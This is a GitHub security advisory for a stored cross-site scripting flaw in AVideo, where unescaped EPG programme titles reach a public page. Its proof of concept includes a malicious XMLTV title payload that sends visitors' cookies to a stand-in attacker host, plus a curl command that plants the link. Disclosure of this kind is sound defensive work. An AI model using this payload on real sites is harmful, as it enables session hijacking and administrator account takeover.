GHSA-rqp3-gf5h-mrqx

Summary

AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.

Details

The vulnerability spans three files in the data flow:

1. Entry point — objects/videoAddNew.json.php:117-119

The epg_link parameter is stored with only a URL format check:

if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
    $obj->setEpg_link($_POST['epg_link']);
}

This requires User::canUpload() (line 10) — not admin, just basic upload permission.

2. XML parsing — objects/EpgParser.php:321

Programme titles are extracted as raw strings with no sanitization:

$this->epgdata[$grouper ?: 0] = [
    'title' => (string) $element->title,
    // ...
];

3. Sink — plugin/PlayerSkins/epg.php:343-351

Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:

} else if ($width <= $minimumWidth1Dot) {
    $text = "<abbr title=\"{$program['title']}\">.</abbr>";          // attribute injection
} else if ($width <= $minimumWidth) {
    $text = "<abbr title=\"{$program['title']}\"><small ...";        // attribute injection
} else if ($width <= $minimumSmallFont) {
    $text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection
} else {
    $text = "{$program['title']}<div>...";                            // HTML injection
}

Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.

The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.

PoC

Step 1: Host a malicious XMLTV file at an attacker-controlled URL:

<?xml version="1.0" encoding="UTF-8"?>
<tv>
  <channel id="ch1">
    <display-name>Test Channel</display-name>
  </channel>
  <programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1">
    <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>
  </programme>
</tv>

Step 2: Create a video with the malicious EPG link (requires upload permission):

curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
  'https://target.example/objects/videoAddNew.json.php' \
  -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'

Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:

https://target.example/plugin/PlayerSkins/epg.php

The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.

Impact

• Session hijacking: Any visitor's session cookies are exfiltrated, including administrators
• Account takeover: Stolen admin sessions allow full platform control
• Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction
• Wide blast radius: The EPG page is publicly accessible with no authentication required

Recommended Fix

Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:

// Around line 340, before the width checks:
$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');

// Then use $safeTitle instead of $program['title']:
} else if ($width <= $minimumWidth1Dot) {
    $text = "<abbr title=\"{$safeTitle}\">.</abbr>";
} else if ($width <= $minimumWidth) {
    $text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>";
} else if ($width <= $minimumSmallFont) {
    $text = "<small class=\"small-font\">{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div></small>";
} else {
    $text = "{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div>";
}

Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.